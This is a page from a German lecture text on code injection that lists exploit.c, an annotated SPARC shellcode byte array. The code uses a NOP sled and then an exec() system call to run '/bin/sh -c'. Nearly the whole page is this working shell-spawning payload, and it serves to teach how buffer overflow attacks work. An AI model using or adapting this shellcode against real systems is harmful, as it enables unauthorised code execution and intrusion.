Der eingeflößte Code

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]

exploit.c
char code[] =
    "\x01\x00\x00\x00"  /* nop */
    "\x01\x00\x00\x00"  /* nop */
    "\x01\x00\x00\x00"  /* nop */
    "\x01\x00\x00\x00"  /* nop */
    "\x40\x00\x00\x02"  /* call    <.+8>         <-- %o7  */
    "\x90\x03\xe0\x28"  /* add     %o7,40,%o0             */
    "\x92\x02\x20\x0c"  /* add     %o0,12,%o1             */
    "\xd0\x22\x40\x00"  /* st      %o0,[%o1]              */
    "\xa0\x02\x20\x08"  /* add     %o0,8,%l0              */
    "\xe0\x22\x60\x04"  /* st      %l0,[%o1+4]            */
    "\xa2\x02\x60\x10"  /* add     %o1,16,%l1             */
    "\xe2\x22\x60\x08"  /* st      %l1,[%o1+8]            */
    "\x82\x10\x20\x0b"  /* mov     0x0b,%g1      exec()   */
    "\x91\xd0\x20\x08"  /* ta      8                      */
    "/bin/sh\x00"       /* argv[0][]             <-- %o0  */
    "-c\x00\x00"        /* argv[1][]             <-- %l0  */
    "\x00\x00\x00\x00"  /* argv[0]               <-- %o1  */
    "\x00\x00\x00\x00"  /* argv[1]                        */
    "\x00\x00\x00\x00"  /* argv[2]                        */
    "\x00\x00\x00\x00"  /* argv[3]                        */
                        /* argv[2][]             <-- %l1  */
;
#define CODESIZE ((sizeof code) - 1) /* subtract final \0 */

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]  [Nächste Seite]
Copyright © 2002,2003 Andreas F. Borchert, in HTML konvertiert am 11.02.2003